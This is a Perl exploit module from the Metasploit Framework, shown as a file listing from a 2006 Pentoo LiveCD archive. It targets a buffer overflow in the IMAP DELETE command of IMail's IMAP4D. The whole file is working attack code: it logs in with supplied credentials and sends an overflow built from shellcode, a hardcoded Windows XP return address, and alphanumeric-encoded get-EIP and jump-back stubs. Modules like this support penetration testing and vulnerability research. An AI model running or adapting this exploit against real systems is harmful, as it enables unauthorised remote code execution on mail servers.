home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / imail_imap_delete.pm < prev    next >
Text File  |  2006-06-30  |  4KB  |  179 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::imail_imap_delete;
  11. use strict;
  12. use base 'Msf::Exploit';
  13. use Msf::Socket::Tcp;
  14. use Pex::Text;
  15.  
  16. my $advanced = {
  17.   };
  18.  
  19. my $info = {
  20.     'Name'    => 'IMail IMAP4D Delete Overflow',
  21.     'Version' => '$Revision: 1.6 $',
  22.     'Authors' => [ 'spoonm <ninjatools [at] hush.com>', ],
  23.  
  24.     'Arch'    => [ 'x86' ],
  25.     'OS'      => [ 'win32'],
  26.     'Priv'    => 1,
  27.  
  28.     'AutoOpts'  =>
  29.       {
  30.         'GETPCTYPE' => 'edx',
  31.         'EXITFUNC'  => 'thread',
  32.       },
  33.     'UserOpts'  =>
  34.       {
  35.         'RHOST' => [1, 'ADDR', 'The target address'],
  36.         'RPORT' => [1, 'PORT', 'The target port', 143],
  37.         'USER'  => [1, 'DATA', 'IMAP Username'],
  38.         'PASS'  => [1, 'DATA', 'IMAP Password'],
  39.       },
  40.  
  41.     'Payload' =>
  42.       {
  43.  
  44.         # give some stack space, align esp
  45.         'Prepend'   => "\x81\xec\x96\x40\x00\x00\x66\x81\xe4\xf0\xff",
  46.         'Space'     => 614,
  47.         'BadChars'  =>
  48.  
  49.           # hd's evil map
  50.           join('', map { $_=chr($_) } (0x00 .. 0x2f)).
  51.           join('', map { $_=chr($_) } (0x3a .. 0x40)).
  52.           join('', map { $_=chr($_) } (0x5b .. 0x60)).
  53.           join('', map { $_=chr($_) } (0x7b .. 0xff)),
  54.         'MinNops'   => 0,
  55.         'MaxNops'   => 0,
  56.       },
  57.  
  58.     'Encoder' =>
  59.       {
  60.         'Keys' => ['+alphanum'],
  61.       },
  62.  
  63.     'Description'  => Pex::Text::Freeform(qq{
  64.     This module exploits a buffer overflow in the 'DELETE' command of the
  65.     the IMail IMAP4D service. This vulnerability can only be exploited with
  66.     a valid username and password. This flaw was patched in version 8.14.
  67. }),
  68.  
  69.     'Refs'  =>
  70.       [
  71.         ['OSVDB', '11838'],
  72.         ['BID',   '11675'],
  73.         ['MIL',      '33'],
  74.       ],
  75.  
  76.     'Targets' =>
  77.       [
  78.  
  79.         # alphanum rets :(, will look more into it later
  80.         ['Windows XP sp0 comctl32.dll', 0x77364650],
  81.       ],
  82.  
  83.     'Keys' => ['imap'],
  84.  
  85.     'DisclosureDate' => 'Nov 12 2004',
  86.   };
  87.  
  88. sub new {
  89.     my $class = shift;
  90.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  91.  
  92.     return($self);
  93. }
  94.  
  95. sub Exploit {
  96.     my $self = shift;
  97.  
  98.     my $targetHost  = $self->GetVar('RHOST');
  99.     my $targetPort  = $self->GetVar('RPORT');
  100.     my $targetIndex = $self->GetVar('TARGET');
  101.     my $user        = $self->GetVar('USER');
  102.     my $pass        = $self->GetVar('PASS');
  103.     my $encodedPayload = $self->GetVar('EncodedPayload');
  104.     my $shellcode   = $encodedPayload->Payload;
  105.     my $target = $self->Targets->[$targetIndex];
  106.  
  107.     my $sock = Msf::Socket::Tcp->new(
  108.         'PeerAddr' => $targetHost,
  109.         'PeerPort' => $targetPort,
  110.       );
  111.     if($sock->IsError) {
  112.         $self->PrintLine('Error creating socket: ' . $sock->GetError);
  113.         return;
  114.     }
  115.  
  116.     my $resp = $sock->Recv(-1);
  117.     chomp($resp);
  118.     $self->PrintLine('[*] Got Banner: ' . $resp);
  119.  
  120.     my $evil = "a001 LOGIN $user $pass\r\n";
  121.     $sock->Send($evil);
  122.     my $resp = $sock->Recv(-1);
  123.     if($sock->IsError) {
  124.         $self->PrintLine('Socket error: ' . $sock->GetError);
  125.         return;
  126.     }
  127.     if($resp !~ /^a001 OK LOGIN/) {
  128.         $self->PrintLine('Login error: ' . $resp);
  129.         return;
  130.     }
  131.     $self->PrintLine('[*] Logged in, sending overflow');
  132.  
  133.     $evil = 'A683 DELETE ';
  134.  
  135.     # shellcode
  136.     $evil .= $shellcode;
  137.     $evil .= 'B' x ($self->PayloadSpace - length($shellcode));
  138.  
  139.     #  $evil .= $self->_Stupid(614);
  140.     # jmp over code
  141.     $evil .= "\x74\x32\x75\x30";
  142.  
  143.     # ret addr
  144.     $evil .= pack('V', $target->[1]);
  145.  
  146.     # space
  147.     $evil .= Pex::Text::AlphaNumText(44);
  148.  
  149.     # get eip code
  150.     $evil .=
  151.       "\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x5a\x6a\x31\x59".
  152.       "\x6b\x42\x34\x49\x30\x42\x4e\x42\x49\x75\x50\x4a\x4a\x52\x52\x59";
  153.  
  154.     # alphanum encoded jmp back (edx context)
  155.     $evil .=
  156.       "\x6a\x6a\x58\x30\x42\x31\x50\x41\x42\x6b\x42\x41".
  157.       "\x7a\x42\x32\x42\x41\x32\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50".
  158.       "\x75\x4a\x49\x52\x7a\x71\x4a\x4d\x51\x7a\x4a\x6c\x55\x66\x62\x57".
  159.       "\x70\x55\x50\x4b\x4f\x6b\x52\x6a";
  160.  
  161.     # run off the stack, so we don't kill our payload, or something...
  162.     $evil .= Pex::Text::AlphaNumText(600);
  163.  
  164.     $evil .= "\r\n";
  165.  
  166.     # hopefully this works...
  167.     $sock->Send($evil);
  168.  
  169.     $sock->Send($evil);
  170.     my $resp = $sock->Recv(-1);
  171.     if(length($resp)) {
  172.         $self->PrintLine('[*] Got response, bad: ' . $resp);
  173.     }
  174.  
  175.     return;
  176. }
  177.  
  178. 1;
  179.